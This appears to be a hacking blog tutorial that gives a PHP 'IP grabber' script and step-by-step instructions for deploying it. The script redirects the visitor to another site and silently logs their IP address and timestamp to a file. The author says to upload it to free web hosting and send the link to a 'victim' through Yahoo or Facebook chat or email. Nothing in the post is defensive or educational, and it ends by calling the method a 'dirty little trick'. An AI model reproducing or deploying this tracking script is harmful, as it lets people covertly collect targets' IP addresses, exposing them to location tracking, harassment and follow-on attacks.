Okay Folks, today I am gonna show you how to grab someone Ip address using PHP script.This method can be used to grab someone Ip address on yahoo or Facebook chat or by sending mail to victim. So Lets get started with any further discussion
PHP Script :-
Copy the below codes into Notepad and save it as Grab.php (.php is must)
<?php
header('LOCATION: http://h4ck3rcracks.com');
$ip = $_SERVER['REMOTE_ADDR'];
$filename = "IPAddress".date("jMY");
$filename =$filename.".txt";
$file=fopen($filename,"a+");
fwrite($file,"**********************");
fwrite($file,"\r\nDate : ");
fwrite($file,date("j D M Y"));
fwrite($file,"\r\nTime : ");
fwrite($file,date("g:i a e"));
fwrite($file,"\r\n**********************");
fwrite($file,"\r\nIP ADDRESS : ");
fwrite($file,$ip);
fwrite($file,"\r\n**********************");
fwrite($file,"\r\n\r\n");
fclose($file);
?>
code updated[12/2/13] by Zulqurnain jutt
Now make Free account on any of the free web hosting sites 000webhost or on My3gb .
Now upload Grab.php to your web hosting site.
Copy the link of your uploaded file and send it to victim.
As soon as victim will click on your link his ip will be saved in your free web hosting site.
Enjoy you are Done !!
I hope you like this dirty little trick.I will be back with some more trick so stay tune.but for this i need to go so, See you and Good Bye.
Regards,
Danish Raza